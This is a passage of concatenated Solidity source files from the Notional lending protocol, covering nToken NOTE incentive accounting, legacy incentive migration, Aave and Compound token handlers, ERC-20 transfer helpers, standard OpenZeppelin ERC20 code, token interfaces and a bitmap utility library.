// If we use 18 decimal places as the accumulation precision then we will overflow uint128 when
// a single nToken has accumulated 3.4 x 10^20 NOTE tokens. This isn't possible since the max
// NOTE that can accumulate is 10^16 (100 million NOTE in 1e8 precision) so we should be safe
// using 18 decimal places and uint128 storage slot
// timeSinceLastAccumulation (SECONDS)
// accumulatedNOTEPerSharePrecision (1e18)
// emissionRatePerYear (INTERNAL_TOKEN_PRECISION)
// DIVIDE BY
// YEAR (SECONDS)
// totalSupply (INTERNAL_TOKEN_PRECISION)
return timeSinceLastAccumulation
.mul(Constants.INCENTIVE_ACCUMULATION_PRECISION)
.mul(emissionRatePerYear)
.div(Constants.YEAR)
// totalSupply > 0 is checked in the calling function
.div(totalSupply);
}
/// @notice Updates the nToken token supply amount when minting or redeeming.
/// @param tokenAddress address of the nToken
/// @param netChange positive or negative change to the total nToken supply
/// @param blockTime current block time
/// @return accumulatedNOTEPerNToken updated to the given block time
function changeNTokenSupply(
address tokenAddress,
int256 netChange,
uint256 blockTime
) internal returns (uint256) {
(
uint256 totalSupply,
uint256 accumulatedNOTEPerNToken,
/* uint256 lastAccumulatedTime */
) = getUpdatedAccumulatedNOTEPerNToken(tokenAddress, blockTime);
// Update storage variables
mapping(address => nTokenTotalSupplyStorage) storage store = LibStorage.getNTokenTotalSupplyStorage();
nTokenTotalSupplyStorage storage nTokenStorage = store[tokenAddress];
int256 newTotalSupply = int256(totalSupply).add(netChange);
// We allow newTotalSupply to equal zero here even though it is prevented from being redeemed down to
// exactly zero by other internal logic inside nTokenRedeem. This is meant to be purely an overflow check.
require(0 <= newTotalSupply && uint256(newTotalSupply) < type(uint96).max); // dev: nToken supply overflow
nTokenStorage.totalSupply = uint96(newTotalSupply);
// NOTE: overflow checked inside getUpdatedAccumulatedNOTEPerNToken so that behavior here mirrors what
// the user would see if querying the view function
nTokenStorage.accumulatedNOTEPerNToken = uint128(accumulatedNOTEPerNToken);
require(blockTime < type(uint32).max); // dev: block time overflow
nTokenStorage.lastAccumulatedTime = uint32(blockTime);
return accumulatedNOTEPerNToken;
}
/// @notice Called by governance to set the new emission rate
function setIncentiveEmissionRate(address tokenAddress, uint32 newEmissionsRate, uint256 blockTime) internal {
// Ensure that the accumulatedNOTEPerNToken updates to the current block time before we update the
// emission rate
changeNTokenSupply(tokenAddress, 0, blockTime);
mapping(address => nTokenContext) storage store = LibStorage.getNTokenContextStorage();
nTokenContext storage context = store[tokenAddress];
context.incentiveAnnualEmissionRate = newEmissionsRate;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../global/LibStorage.sol";
import "../internal/nToken/nTokenHandler.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @notice Deployed library for migration of incentives from the old (inaccurate) calculation
* to a newer, more accurate calculation based on SushiSwap MasterChef math. The more accurate
* calculation is inside `Incentives.sol` and this library holds the legacy calculation. System
* migration code can be found in `MigrateIncentivesFix.sol`
*/
library MigrateIncentives {
using SafeMath for uint256;
/// @notice Calculates the claimable incentives for a particular nToken and account in the
/// previous regime. This should only ever be called ONCE for an account / currency combination
/// to get the incentives accrued up until the migration date.
function migrateAccountFromPreviousCalculation(
address tokenAddress,
uint256 nTokenBalance,
uint256 lastClaimTime,
uint256 lastClaimIntegralSupply
) external view returns (uint256) {
(
uint256 finalEmissionRatePerYear,
uint256 finalTotalIntegralSupply,
uint256 finalMigrationTime
) = _getMigratedIncentiveValues(tokenAddress);
// This if statement should never be true but we return 0 just in case
if (lastClaimTime == 0 || lastClaimTime >= finalMigrationTime) return 0;
// No overflow here, checked above. All incentives are claimed up until finalMigrationTime
// using the finalTotalIntegralSupply. Both these values are set on migration and will not
// change.
uint256 timeSinceMigration = finalMigrationTime - lastClaimTime;
// (timeSinceMigration * INTERNAL_TOKEN_PRECISION * finalEmissionRatePerYear) / YEAR
uint256 incentiveRate =
timeSinceMigration
.mul(uint256(Constants.INTERNAL_TOKEN_PRECISION))
// Migration emission rate is stored as is, denominated in whole tokens
.mul(finalEmissionRatePerYear).mul(uint256(Constants.INTERNAL_TOKEN_PRECISION))
.div(Constants.YEAR);
// Returns the average supply using the integral of the total supply.
uint256 avgTotalSupply = finalTotalIntegralSupply.sub(lastClaimIntegralSupply).div(timeSinceMigration);
if (avgTotalSupply == 0) return 0;
uint256 incentivesToClaim = nTokenBalance.mul(incentiveRate).div(avgTotalSupply);
// incentiveRate has a decimal basis of 1e16 so divide by token precision to reduce to 1e8
incentivesToClaim = incentivesToClaim.div(uint256(Constants.INTERNAL_TOKEN_PRECISION));
return incentivesToClaim;
}
function _getMigratedIncentiveValues(
address tokenAddress
) private view returns (
uint256 finalEmissionRatePerYear,
uint256 finalTotalIntegralSupply,
uint256 finalMigrationTime
) {
mapping(address => nTokenTotalSupplyStorage_deprecated) storage store = LibStorage.getDeprecatedNTokenTotalSupplyStorage();
nTokenTotalSupplyStorage_deprecated storage d_nTokenStorage = store[tokenAddress];
// The total supply value is overridden as emissionRatePerYear during the initialization
finalEmissionRatePerYear = d_nTokenStorage.totalSupply;
finalTotalIntegralSupply = d_nTokenStorage.integralTotalSupply;
finalMigrationTime = d_nTokenStorage.lastSupplyChangeTime;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
/// @title Hardcoded deployed contracts are listed here. These are hardcoded to reduce
/// gas costs for immutable addresses. They must be updated per environment that Notional
/// is deployed to.
library Deployments {
address internal constant NOTE_TOKEN_ADDRESS = 0xCFEAead4947f0705A14ec42aC3D44129E1Ef3eD5;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../../global/Types.sol";
import "../../../global/LibStorage.sol";
import "../../../math/SafeInt256.sol";
import "../TokenHandler.sol";
import "../../../../interfaces/aave/IAToken.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library AaveHandler {
using SafeMath for uint256;
using SafeInt256 for int256;
int256 internal constant RAY = 1e27;
int256 internal constant halfRAY = RAY / 2;
bytes4 internal constant scaledBalanceOfSelector = IAToken.scaledBalanceOf.selector;
/**
* @notice Mints an amount of aTokens corresponding to the the underlying.
* @param underlyingToken address of the underlying token to pass to Aave
* @param underlyingAmountExternal amount of underlying to deposit, in external precision
*/
function mint(Token memory underlyingToken, uint256 underlyingAmountExternal) internal {
// In AaveV3 this method is renamed to supply() but deposit() is still available for
// backwards compatibility: https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L755
// We use deposit here so that mainnet-fork tests against Aave v2 will pass.
LibStorage.getLendingPool().lendingPool.deposit(
underlyingToken.tokenAddress,
underlyingAmountExternal,
address(this),
0
);
}
/**
* @notice Redeems and sends an amount of aTokens to the specified account
* @param underlyingToken address of the underlying token to pass to Aave
* @param account account to receive the underlying
* @param assetAmountExternal amount of aTokens in scaledBalanceOf terms
*/
function redeem(
Token memory underlyingToken,
address account,
uint256 assetAmountExternal
) internal returns (uint256 underlyingAmountExternal) {
underlyingAmountExternal = convertFromScaledBalanceExternal(
underlyingToken.tokenAddress,
SafeInt256.toInt(assetAmountExternal)
).toUint();
LibStorage.getLendingPool().lendingPool.withdraw(
underlyingToken.tokenAddress,
underlyingAmountExternal,
account
);
}
/**
* @notice Takes an assetAmountExternal (in this case is the Aave balanceOf representing principal plus interest)
* and returns another assetAmountExternal value which represents the Aave scaledBalanceOf (representing a proportional
* claim on Aave principal plus interest onto the future). This conversion ensures that depositors into Notional will
* receive future Aave interest.
* @dev There is no loss of precision within this function since it does the exact same calculation as Aave.
* @param currencyId is the currency id
* @param assetAmountExternal an Aave token amount representing principal plus interest supplied by the user. This must
* be positive in this function, this method is only called when depositing aTokens directly
* @return scaledAssetAmountExternal the Aave scaledBalanceOf equivalent. The decimal precision of this value will
* be in external precision.
*/
function convertToScaledBalanceExternal(uint256 currencyId, int256 assetAmountExternal) internal view returns (int256) {
if (assetAmountExternal == 0) return 0;
require(assetAmountExternal > 0);
Token memory underlyingToken = TokenHandler.getUnderlyingToken(currencyId);
// We know that this value must be positive
int256 index = _getReserveNormalizedIncome(underlyingToken.tokenAddress);
// Mimic the WadRay math performed by Aave (but do it in int256 instead)
int256 halfIndex = index / 2;
// Overflow will occur when: (a * RAY + halfIndex) > int256.max
require(assetAmountExternal <= (type(int256).max - halfIndex) / RAY);
// if index is zero then this will revert
return (assetAmountExternal * RAY + halfIndex) / index;
}
/**
* @notice Takes an assetAmountExternal (in this case is the internal scaledBalanceOf in external decimal precision)
* and returns another assetAmountExternal value which represents the Aave balanceOf representing the principal plus interest
* that will be transferred. This is required to maintain compatibility with Aave's ERC20 transfer functions.
* @dev There is no loss of precision because this does exactly what Aave's calculation would do
* @param underlyingToken token address of the underlying asset
* @param netScaledBalanceExternal an amount representing the scaledBalanceOf in external decimal precision calculated from
* Notional cash balances. This amount may be positive or negative depending on if assets are being deposited (positive) or
* withdrawn (negative).
* @return netBalanceExternal the Aave balanceOf equivalent as a signed integer
*/
function convertFromScaledBalanceExternal(address underlyingToken, int256 netScaledBalanceExternal) internal view returns (int256 netBalanceExternal) {
if (netScaledBalanceExternal == 0) return 0;
// We know that this value must be positive
int256 index = _getReserveNormalizedIncome(underlyingToken);
// Use the absolute value here so that the halfRay rounding is applied correctly for negative values
int256 abs = netScaledBalanceExternal.abs();
// Mimic the WadRay math performed by Aave (but do it in int256 instead)
// Overflow will occur when: (abs * index + halfRay) > int256.max
// Here the first term is computed at compile time so it just does a division. If index is zero then
// solidity will revert.
require(abs <= (type(int256).max - halfRAY) / index);
int256 absScaled = (abs * index + halfRAY) / RAY;
return netScaledBalanceExternal > 0 ? absScaled : absScaled.neg();
}
/// @dev getReserveNormalizedIncome returns a uint256, so we know that the return value here is
/// always positive even though we are converting to a signed int
function _getReserveNormalizedIncome(address underlyingAsset) private view returns (int256) {
return
SafeInt256.toInt(
LibStorage.getLendingPool().lendingPool.getReserveNormalizedIncome(underlyingAsset)
);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./GenericToken.sol";
import "../../../../interfaces/compound/CErc20Interface.sol";
import "../../../../interfaces/compound/CEtherInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../global/Types.sol";
library CompoundHandler {
using SafeMath for uint256;
// Return code for cTokens that represents no error
uint256 internal constant COMPOUND_RETURN_CODE_NO_ERROR = 0;
function mintCETH(Token memory token) internal {
// Reverts on error
CEtherInterface(token.tokenAddress).mint{value: msg.value}();
}
function mint(Token memory token, uint256 underlyingAmountExternal) internal returns (int256) {
uint256 success = CErc20Interface(token.tokenAddress).mint(underlyingAmountExternal);
require(success == COMPOUND_RETURN_CODE_NO_ERROR, "Mint");
}
function redeemCETH(
Token memory assetToken,
address account,
uint256 assetAmountExternal
) internal returns (uint256 underlyingAmountExternal) {
// Although the contract should never end with any ETH or underlying token balances, we still do this
// starting and ending check in the case that tokens are accidentally sent to the contract address. They
// will not be sent to some lucky address in a windfall.
uint256 startingBalance = address(this).balance;
uint256 success = CErc20Interface(assetToken.tokenAddress).redeem(assetAmountExternal);
require(success == COMPOUND_RETURN_CODE_NO_ERROR, "Redeem");
uint256 endingBalance = address(this).balance;
underlyingAmountExternal = endingBalance.sub(startingBalance);
// Withdraws the underlying amount out to the destination account
GenericToken.transferNativeTokenOut(account, underlyingAmountExternal);
}
function redeem(
Token memory assetToken,
Token memory underlyingToken,
address account,
uint256 assetAmountExternal
) internal returns (uint256 underlyingAmountExternal) {
// Although the contract should never end with any ETH or underlying token balances, we still do this
// starting and ending check in the case that tokens are accidentally sent to the contract address. They
// will not be sent to some lucky address in a windfall.
uint256 startingBalance = GenericToken.checkBalanceViaSelector(underlyingToken.tokenAddress, address(this), GenericToken.defaultBalanceOfSelector);
uint256 success = CErc20Interface(assetToken.tokenAddress).redeem(assetAmountExternal);
require(success == COMPOUND_RETURN_CODE_NO_ERROR, "Redeem");
uint256 endingBalance = GenericToken.checkBalanceViaSelector(underlyingToken.tokenAddress, address(this), GenericToken.defaultBalanceOfSelector);
underlyingAmountExternal = endingBalance.sub(startingBalance);
// Withdraws the underlying amount out to the destination account
GenericToken.safeTransferOut(underlyingToken.tokenAddress, account, underlyingAmountExternal);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
import "../../../../interfaces/IEIP20NonStandard.sol";
library GenericToken {
bytes4 internal constant defaultBalanceOfSelector = IEIP20NonStandard.balanceOf.selector;
/**
* @dev Manually checks the balance of an account using the method selector. Reduces bytecode size and allows
* for overriding the balanceOf selector to use scaledBalanceOf for aTokens
*/
function checkBalanceViaSelector(
address token,
address account,
bytes4 balanceOfSelector
) internal returns (uint256 balance) {
(bool success, bytes memory returnData) = token.staticcall(abi.encodeWithSelector(balanceOfSelector, account));
require(success);
(balance) = abi.decode(returnData, (uint256));
}
function transferNativeTokenOut(
address account,
uint256 amount
) internal {
// This does not work with contracts, but is reentrancy safe. If contracts want to withdraw underlying
// ETH they will have to withdraw the cETH token and then redeem it manually.
payable(account).transfer(amount);
}
function safeTransferOut(
address token,
address account,
uint256 amount
) internal {
IEIP20NonStandard(token).transfer(account, amount);
checkReturnCode();
}
function safeTransferIn(
address token,
address account,
uint256 amount
) internal {
IEIP20NonStandard(token).transferFrom(account, address(this), amount);
checkReturnCode();
}
function checkReturnCode() internal pure {
bool success;
uint256[1] memory result;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := 1 // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(result, 0, 32)
success := mload(result) // Set `success = returndata` of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "ERC20");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IAToken {
/**
* @dev Returns the scaled balance of the user. The scaled balance is the sum of all the
* updated stored balance divided by the reserve's liquidity index at the moment of the update
* @param user The user whose balance is calculated
* @return The scaled balance of the user
**/
function scaledBalanceOf(address user) external view returns (uint256);
function UNDERLYING_ASSET_ADDRESS() external view returns (address);
function symbol() external view returns (string memory);
}
interface IScaledBalanceToken {
/**
* @dev Returns the scaled balance of the user. The scaled balance is the sum of all the
* updated stored balance divided by the reserve's liquidity index at the moment of the update
* @param user The user whose balance is calculated
* @return The scaled balance of the user
**/
function scaledBalanceOf(address user) external view returns (uint256);
/**
* @dev Returns the scaled balance of the user and the scaled total supply.
* @param user The address of the user
* @return The scaled balance of the user
* @return The scaled balance and the scaled total supply
**/
function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256);
/**
* @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index)
* @return The scaled total supply
**/
function scaledTotalSupply() external view returns (uint256);
}
interface IATokenFull is IScaledBalanceToken, IERC20 {
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.7.0;
import "./CTokenInterface.sol";
interface CErc20Interface {
/*** User Interface ***/
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint);
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.7.0;
interface CEtherInterface {
function mint() external payable;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface IEIP20NonStandard {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `approve` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
*/
function approve(address spender, uint256 amount) external;
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.7.0;
interface CTokenInterface {
/*** User Interface ***/
function underlying() external view returns (address);
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function exchangeRateCurrent() external returns (uint);
function exchangeRateStored() external view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() external returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../global/Types.sol";
import "../global/Constants.sol";
/// @notice Helper methods for bitmaps, they are big-endian and 1-indexed.
library Bitmap {
/// @notice Set a bit on or off in a bitmap, index is 1-indexed
function setBit(
bytes32 bitmap,
uint256 index,
bool setOn
) internal pure returns (bytes32) {
require(index >= 1 && index <= 256); // dev: set bit index bounds
if (setOn) {
return bitmap | (Constants.MSB >> (index - 1));
} else {
return bitmap & ~(Constants.MSB >> (index - 1));
}
}
/// @notice Check if a bit is set
function isBitSet(bytes32 bitmap, uint256 index) internal pure returns (bool) {
require(index >= 1 && index <= 256); // dev: set bit index bounds
return ((bitmap << (index - 1)) & Constants.MSB) == Constants.MSB;
}
/// @notice Count the total bits set
function totalBitsSet(bytes32 bitmap) internal pure returns (uint256) {
uint256 x = uint256(bitmap);
x = (x & 0x5555555555555555555555555555555555555555555555555555555555555555) + (x >> 1 & 0x5555555555555555555555555555555555555555555555555555555555555555);
x = (x & 0x3333333333333333333333333333333333333333333333333333333333333333) + (x >> 2 & 0x3333333333333333333333333333333333333333333333333333333333333333);
x = (x & 0x0707070707070707070707070707070707070707070707070707070707070707) + (x >> 4);
x = (x & 0x000F000F000F000F000F000F000F000F000F000F000F000F000F000F000F000F) + (x >> 8 & 0x000F000F000F000F000F000F000F000F000F000F000F000F000F000F000F000F);
x = x + (x >> 16);
x = x + (x >> 32);
x = x + (x >> 64);
